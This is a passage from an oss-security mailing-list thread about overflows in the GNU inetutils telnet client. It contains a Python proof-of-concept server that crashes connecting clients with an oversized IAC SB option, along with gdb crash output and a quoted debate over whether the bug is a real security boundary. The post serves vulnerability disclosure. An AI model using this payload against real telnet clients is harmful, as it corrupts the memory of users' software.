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Message-ID: <CAG-OieMJ=sJxrf37ndMZF8akPtTibc-RMAgi8+Dkxz5URabR+A@mail.gmail.com>
Date: Wed, 12 Dec 2018 17:21:05 -0800
From: Hacker Fantastic <hackerfantastic@...glemail.com>
To: Tavis Ormandy <taviso@...gle.com>
Cc: oss-security@...ts.openwall.com
Subject: Re: Multiple telnet.c overflows
Please see the below proof of concept in triggering the heap overflow using
the IAC SB TELQUAL_IS environment option variable assignment. As per my
original advisory, which did not fully indicate the details but gave the
overview of how to trigger the condition.
#!/usr/bin/env python
# Proof-of-concept exploit to settle debate on remote
# exploitability of telnet client overflows identified
# by Hacker House in previous advisory.
#
# Starting program: /usr/bin/telnet 127.0.0.1 2323
# Trying 127.0.0.1...
# Connected to 127.0.0.1.
# Escape character is '^]'.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x0000555555561172 in ?? ()
# (gdb) i r
# rax 0x0 0
# rbx 0x55555557b100 93824992391424
# rcx 0x0 0
# rdx 0x1203 4611
# rsi 0x1 1
# rdi 0x203 515
# rbp 0x0 0x0
# rsp 0x7fffff7ff000 0x7fffff7ff000
# r8 0x0 0
# r9 0x0 0
# r10 0x0 0
# r11 0x246 582
# r12 0x55555556e3c4 93824992338884
# r13 0x555555586140 93824992436544
# r14 0x55555557b140 93824992391488
# r15 0x41 65
# rip 0x555555561172 0x555555561172
# eflags 0x10246 [ PF ZF IF RF ]
# cs 0x33 51
# ss 0x2b 43
# ds 0x0 0
# es 0x0 0
# fs 0x0 0
# gs 0x0 0
#
# -- Hacker Fantastic
# 12/12/2018 - h0h0h0 merry xmas
# https://hacker.house
import sys
import socket
# telnet initial negotiation
buffer = b'\xff\xfd\x18\xff\xfd\x20\xff\xfd\x23\xff\xfd\x27'
# Send malformed and oversized IAC telnet options
buffer2 =b'\xff\xfa\x18\x01' # set linespeed
buffer2 +=b'A'*5000
buffer2 +=b'\xff\xf0' # end option
HOST = '0.0.0.0'
PORT = 2323
if __name__ == "__main__":
print("[+] GNU/inetutils <= 1.9.4 telnet client heap overflow (IAC
TELQUAL_IS)")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
while conn:
print("[-] connected, corrupting client heap")
conn.sendall(buffer)
conn.sendall(buffer2)
s.close()
On Wed, Dec 12, 2018 at 12:10 PM Tavis Ormandy <taviso@...gle.com> wrote:
> On Wed, Dec 12, 2018 at 11:35 AM Hacker Fantastic
> <hackerfantastic@...glemail.com> wrote:
> >
> > Hi Tavis,
> >
> > The "little used" package you mentioned is in some distributions a
> dependency of "xorg-xinit" (:: removing inetutils breaks dependency
> 'inetutils' required by xorg-xinit in Arch Linux). The security boundary in
> the Mikrotik example is "escape of restricted shells" which is also in the
> TLDR; advisory. If you are unhappy with how I described the issue and wish
> to spend time and ultimately money researching remotely reachable code
> paths (aside from the URI handler example I already gave you) then it is
> worth looking into more detail the issues with the heap overflow and if it
> is reachable in the client via a server-side telnetd implementation for
> instance. The code there is a mess.
> >
> > As I already stated, I am unable to account for every use of telnet
> client-side code or how it is called in every application, particularly all
> the projects out there used from open-source community or co-opted by
> vendors into commercial offerings (like the given example, Mikrotik).
> Splitting hairs over security boundaries of a single issue with many use
> cases is not something I have time for, the vulnerability is exactly as
> described with security relevant impacts in my original advisory. It would
> be nice to see the heap overflow reached via a telnetd service just to
> prove a point but ultimately it is beyond the scope of this discussion, why
> not put the energy you spent on these emails to use exploring if the heap
> is also corrupted in such instances? ;-)
> >
>
> The energy I spent asking if a security boundary being crossed was
> minimal. I think the answer is that you do not know of any cases of
> this being a security boundary, but you feel that all bugs are
> security bugs whether or not a security boundary is crossed, because
> you don't know how someone might be using the software.
>
> > It was considered a security issue for such straight-forward restricted
> shell escapes in 2004/2005 (when there were numerous reported instances of
> such occurring in telnet clients alongside other client-side overflows).
> One of the issues is addressed in the implementations of some BSD clients
> and not in others.
> >
> > Just because you do not know how to exploit a bug does not mean it does
> not have security implications, it just means they have not been discovered
> yet or the researcher does not have the luxury of time that others have.
> >
> > I hope this clarifies my points satisfactorily for you.
>
> It certainly does, thank you. I think we disagree on what qualifies as
> a vulnerability, but I'm still very grateful for you reporting this.
>
> Tavis.
>
--
Matthew Hickey
Tel: +44 7543 661237
Web: http://blog.hackerfantastic.com
Please visit my website for blog postings, status updates and project
information.
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